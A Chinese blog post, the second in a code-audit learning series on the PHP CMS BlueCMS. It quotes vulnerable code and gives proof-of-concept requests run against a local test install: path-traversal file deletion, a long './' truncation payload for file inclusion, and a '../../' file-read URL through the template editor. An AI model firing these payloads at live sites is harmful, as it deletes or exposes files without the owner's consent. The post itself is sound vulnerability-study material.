首页后端开发JAVA[代码审计]从0开始学习之bluecms(2)

[代码审计]从0开始学习之bluecms(2)

时间2023-04-16 17:18:01发布访客分类JAVA浏览841
导读:上文地址http://535yx.cn/index.php/archives/400/0X00前言闲来无事我去cnvd逛了逛这cms有啥洞便于挖掘,接下来文章继续0x01正文任意文件删除(publish.php 第一个在publish.p...

上文地址http://535yx.cn/index.php/archives/400/

0X00前言

闲来无事我去cnvd逛了逛这cms有啥洞便于挖掘,接下来文章继续

0x01正文

  • 任意文件删除(publish.php)

第一个在publish.php

重点在@unlink上

所以说,这里存在一个任意文件删除漏洞。接下来我们来复现一下 (注:这个地方需要先登入才能执行)

先在同目录下新建个1.txt文件 为了方便观看,我在代码下加个echo

构建参数:

http://localhost/shenji/bluecms/publish.php?act=del_pic&
id=1.txt
  • 任意文件删除(user.php)

先说个未成功的

这块就有点迷了,与publsh.php中的代码差别仅是表名不同,但是却不能执行。

我们接着往上翻

else{

        if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
    
            @unlink(BLUE_ROOT.$_POST['face_pic3']);

        }

    }

成功执行!

  • 任意文件删除(database.php)

可以发现这里参数输入仅仅删除了字符串首尾的空白符,所以说可以利用../来实现任意文件删除 接下来我们试试删除根目录的2.txt文件

  • 文件包含漏洞(user.php)

嗯,cnvd这里看出了该漏洞十有八九在user.php

这里我们就要尝试截断后面的文件地址。常见手法有%00 ./ 以及无数个. 这里要求: 长度截断:条件:windows的点需要长于256;linux的长于4096 %00条件:magic_quotes_gpc = Off php版本5.3.4(由于文件自带addslashes()过滤所以说这里不能用00截断) OK,我们先在根目录建个txt

最后如图所示:

pay=../../2.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

也是可以的

  • 文件读取漏洞(/admin/tpl_manage.php)

这个漏洞在cnvd里看了下好像没有看到。有想交的xd可以自己去交,我懒得去提交了 我们先打开这个地址看看

原来是个编辑模板的(在后台功能上只能编辑模板的html) 我们看看这个地址代码

elseif($act == 'edit'){
    
    $file = $_GET['tpl_name'];

    if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
    
        showmsg('��Ŀ��ģ���ļ�ʧ��');

    }
    
    $tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
    
    $tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
    
    fclose($handle);
    
    $tpl['name'] = $file;
    
    template_assign(array('current_act', 'tpl'), array('�༭ģ��', $tpl));
    
    $smarty->
    display('tpl_info.htm');

 }
    

这里可以发现$file变量未经过任何过滤,所以说可以造成个任意文件读取的漏洞

http://localhost/shenji/bluecms//admin/tpl_manage.php?act=edit&
    tpl_name=../../yanxia.txt

声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!

php变量后台漏洞字符串

若转载请注明出处: [代码审计]从0开始学习之bluecms(2)
本文地址: https://pptw.com/jishu/3373.html
Pandownload 网页端复刻版PHP源码 PHP在线图像编辑器 Pixie v3.0.3

游客 回复需填写必要信息